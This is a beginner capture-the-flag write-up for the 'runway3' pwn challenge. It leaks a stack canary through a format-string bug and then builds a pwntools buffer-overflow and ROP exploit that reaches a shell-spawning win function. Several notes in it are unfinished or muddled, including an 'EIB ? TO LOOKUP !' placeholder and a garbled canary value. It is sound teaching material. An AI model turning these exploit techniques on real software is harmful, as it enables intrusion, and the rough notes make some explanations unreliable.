Challenge’s files

PWN (beginner) - runway3

a look at canaries, stack alignement and basic

This is the last challenge tagged for beginners.

We are given both the binary and the source code.

By running file on the binary:


    

By using checksec on the binary, we can see the following:

    Arch:     amd64-64-little
    RELRO:    Partial RELROw
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

What matters here is that a canary is found in binary. Trough this challenge, we will see what is a canary, how to get arround it with a string format exploitation, and see how to fix the problems encountered after this initial payload by using ROP (return oriented programming).

Part 1 - Taking care of the Canary

Understanding what is a canary …

… and how it affects the program’s execution. Please go to the next part if you already understand what is a canary.

A canary is a random variable, determined at runtime, and used to prevent return control by exploiting stack smashing / overflow. Here is a video that explains the basic principles between a canary.

By looking at the source code that is given us, we see that we can exploit a buffer overflow to put the adress of the win function, but we need to get the value of the canary for the program not to crash.

By comparing the given source code and the decompiled code by ghidra shows us how the canary is handled.

Given source code :

int echo(int amount) {
    char message[32];

    fgets(message, amount, stdin);

    printf(message);
    fflush(stdout);
}

ghidra’s decompiled code :

We can see in ghidra’s code that we have a variable, assigned at the begining of the function to a random value, who is checked before returning. This is our canary.

Thanks to this decompiled code, how the canary affects the execution of the program is now quite clear : if the canary’s has been modified, the program crashes. That’s all there is to it.

Geting the value of the canary

We can modify the return value only if we manage to get the value of the canary at runtime.

Luckily, the echo function prints an arbitrary string, so we can try to dump the values of the stack by inputing %p %p %p, or dumping the n-th value with %n$p.

The program returns values, which means we can get values from the stack at runtime. But we still don’t know which one is the canary.

To identify it, we will now use pwndbg by typing gdb runway3:

before running the code, we want to set a breakpoint in the middle of the echo function to analyze the stack while inside the function. pwndbg> info functions:

All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401090  puts@plt
0x00000000004010a0  __stack_chk_fail@plt
0x00000000004010b0  system@plt
0x00000000004010c0  printf@plt
0x00000000004010d0  fgets@plt
0x00000000004010e0  fflush@plt
0x00000000004010f0  _start
0x0000000000401120  _dl_relocate_static_pie
0x0000000000401130  deregister_tm_clones
0x0000000000401160  register_tm_clones
0x00000000004011a0  __do_global_dtors_aux
0x00000000004011d0  frame_dummy
0x00000000004011d6  win
0x000000000040120e  echo
0x000000000040127b  main
0x00000000004012bc  _fini

pwndbg> disassemble 0x000000000040120e

Dump of assembler code for function echo:
   0x000000000040120e <+0>:	endbr64
   0x0000000000401212 <+4>:	push   rbp
   0x0000000000401213 <+5>:	mov    rbp,rsp
   0x0000000000401216 <+8>:	sub    rsp,0x40
   0x000000000040121a <+12>:	mov    DWORD PTR [rbp-0x34],edi
   0x000000000040121d <+15>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000401226 <+24>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040122a <+28>:	xor    eax,eax
   0x000000000040122c <+30>:	mov    rdx,QWORD PTR [rip+0x2e3d]        # 0x404070 <stdin@GLIBC_2.2.5>
   0x0000000000401233 <+37>:	mov    ecx,DWORD PTR [rbp-0x34]
   0x0000000000401236 <+40>:	lea    rax,[rbp-0x30]
   0x000000000040123a <+44>:	mov    esi,ecx
   0x000000000040123c <+46>:	mov    rdi,rax
   0x000000000040123f <+49>:	call   0x4010d0 <fgets@plt>
   0x0000000000401244 <+54>:	lea    rax,[rbp-0x30]
   0x0000000000401248 <+58>:	mov    rdi,rax
   0x000000000040124b <+61>:	mov    eax,0x0
   0x0000000000401250 <+66>:	call   0x4010c0 <printf@plt>
   0x0000000000401255 <+71>:	mov    rax,QWORD PTR [rip+0x2e04]        # 0x404060 <stdout@GLIBC_2.2.5>
   0x000000000040125c <+78>:	mov    rdi,rax
   0x000000000040125f <+81>:	call   0x4010e0 <fflush@plt>
   0x0000000000401264 <+86>:	nop
   0x0000000000401265 <+87>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000401269 <+91>:	sub    rdx,QWORD PTR fs:0x28
   0x0000000000401272 <+100>:	je     0x401279 <echo+107>
   0x0000000000401274 <+102>:	call   0x4010a0 <__stack_chk_fail@plt>
   0x0000000000401279 <+107>:	leave
   0x000000000040127a <+108>:	ret
End of assembler dump.

and then pwndbg> break *0x0000000000401250 to set a breakpoint right before the print function:

The program can now be executed by typing run, and will pause at the expected breakpoint.

It is now possible to wiew the values of the canaries, by typing canary --all

Thread 1: Found valid canaries.
00:0000│-278 0x7fffffffd7d8 ◂— 0xe8c0x57be0704c7018d00a4a9b60349e00
00:0000│-168 0x7fffffffd8e8 ◂— 0xe8ca4a9b60349e00
00:0000│-008 0x7fffffffda48 ◂— 0xe8ca4a9b60349e00
00:0000│+0a8 0x7fffffffdaf8 ◂— 0xe8ca4a9b60349e00

The rightmost value is the value of the canaries, while the hex values at the center are the adresses of these canaries. It is easy to see that the value is identical for all the adresses. In fact, the value of the canaries is randomly generated at runtime, so it is very unlikely that the canary have the same values. However, they should have the same addresses.

We now have to identify the offset of this value from the stack pointer. To find it with ease, please keep in mind that the generated value typically ends by 00.

pwngdb> x/50x $rsp (prints the 50 next values from the stack pointer)

0x7fffffffda10:	0xf7dff7a0	0x00007fff	0xf7c8382a	0x0000001f
0x7fffffffda20:	0x75656f61	0x0000000a	0xf7dff7a0	0x00007fff
0x7fffffffda30:	0xf7dfd270	0x00007fff	0xf7c81394	0x00007fff
0x7fffffffda40:	0xffffdb78	0x00007fff	0x60349e00	0xe8ca4a9b
0x7fffffffda50:	0xffffda60	0x00007fff	0x004012ab	0x00000000
0x7fffffffda60:	0x00000001	0x00000000	0xf7c28150	0x00007fff
0x7fffffffda70:	0xffffdb60	0x00007fff	0x0040127b	0x00000000
0x7fffffffda80:	0x00400040	0x00000001	0xffffdb78	0x00007fff
0x7fffffffda90:	0xffffdb78	0x00007fff	0xe6239395	0xff94b7f7
0x7fffffffdaa0:	0x00000000	0x00000000	0xffffdb88	0x00007fff
0x7fffffffdab0:	0x00403e18	0x00000000	0xf7ffd000	0x00007fff
0x7fffffffdac0:	0x52c19395	0x006b4808	0xe4299395	0x006b5872
0x7fffffffdad0:	0x00000000	0x00000000	0x00000000	0x00000000

Were you able to find it ? The canary is the two last values of the fourth line. The bytes being reversed can make it quite hard to find…

Thankfully, pwndbg provides the hexdump command, and so by printing hexdump $rsp 0x100, the content is quite easier to read:

    

Now that we have identified our canary, we know its position from the stack pointer : it is at the adress 0x7fffffffda48, or more visually, at the 15th and 16th blocks from the top of the output. But please keep in mind that we are dealing with a 64 bit, little endian binary, and so printing a pointer with %p will give us 8 bytes, or two “blocks” of four byte, to refer to our output. And because of the binary being a 64 bit binary, the 5 registers RSI,RDX,RCX,R8 and R9 are present before acessing to the stack.

Because of this, the canary is the 13th value accessed from printf. To print only this value, %13$p can be inputed.

When running the program:

Is it just me, or is there an echo in here?
%13$p
0x57be0704c7018d00

The value of the canary is returned by the program

Part 2 : Crafting the exploit with pwntools

The buffer overflow

By looking at the echo function, we can see that the buffer echo is 32 bytes wide. Following it is the canary (8 bytes), the EIB ? TO LOOKUP ! register and then the return adress, which we want to overwrite by the win function. A look at ghidra’s assembly code makes it even clearer:

With all this elements, an exploit script can be written

The exploit script

from pwn import *

elf = ELF("./runway3")

context.binary = elf
context.log_level = "DEBUG"

#p = remote("challs.pwnoh.io",13403)
p = elf.process()

offset = 0x28 ################## WHY THIS OFFSET
p.recvline()
p.sendline(b"%13$p") # prints it as a decimal instead as a hex for a pointer, taking 8 bytes (long unsigned)
# canary = int(p.recvline().strip(),16) # if %p is used instead of %lu
canary = int(p.recvline().strip(),16)
print(f"found canary's value is: {hex(canary)}")

payload = b'A'*offset + p64(canary) + b'B'*8 + p64(elf.symbols['win'])
p.sendline(payload)
p.recvall()
p.interactive()

By running the given script, the following output is returned :

[DEBUG] Received 0x45 bytes:
    b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaYou win! Here is your shell:\n'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

The canary was dealt with, the buffer overflow exploited and the win function was executed successfully, so we have our shell, right ? Sadly, things aren’t that simple, and instead of a shell, a EOF (end of file) is returned by the binary, and so the shell can’t be accessed.

Part 3 : A stack alignement story

Why does the program even crashes ?

The program crashes because of a stack misalignement, as the x64 libc documentation specifies : ``

How to fix it:

By aligning it yourself

A method often found in payloads is to fixing the alignement by adding the right value.

While this method works, it is not easy finding it by yourself, and requires bruteforcing every time you’re confronted to it.

For example, here is the official solution:

payload = b'A'*40 + p64(canary) + b'b'*8 + p64(elf.symbols['win'] + 0x17)

This means you have to try lots of offsets before finding the right one.

By using Return Oriented Programming (ROP)

By using ROP gadgets, assembly code specified in the program can be used in the order we desire them to. Thanks to that, a return instruction can be added before inserting the return adress, fixing the stack alignement problem.

And so the end of the previous payload can be replaced by the following code:

rop = ROP(elf)

rop.raw('A' * offset)
rop.raw(canary)
rop.raw(0xbeef)
rop.raw(rop.ret)
rop.raw(win_addr)

print(rop.dump())
p.sendline(rop.chain())
p.recvall()
p.interactive()

By running the script, /bin/sh is this time executed with success, and the flag can be obtained by a simple cat flag.txt

Resources

Here is a (not so) concise list of the resources for this challenge.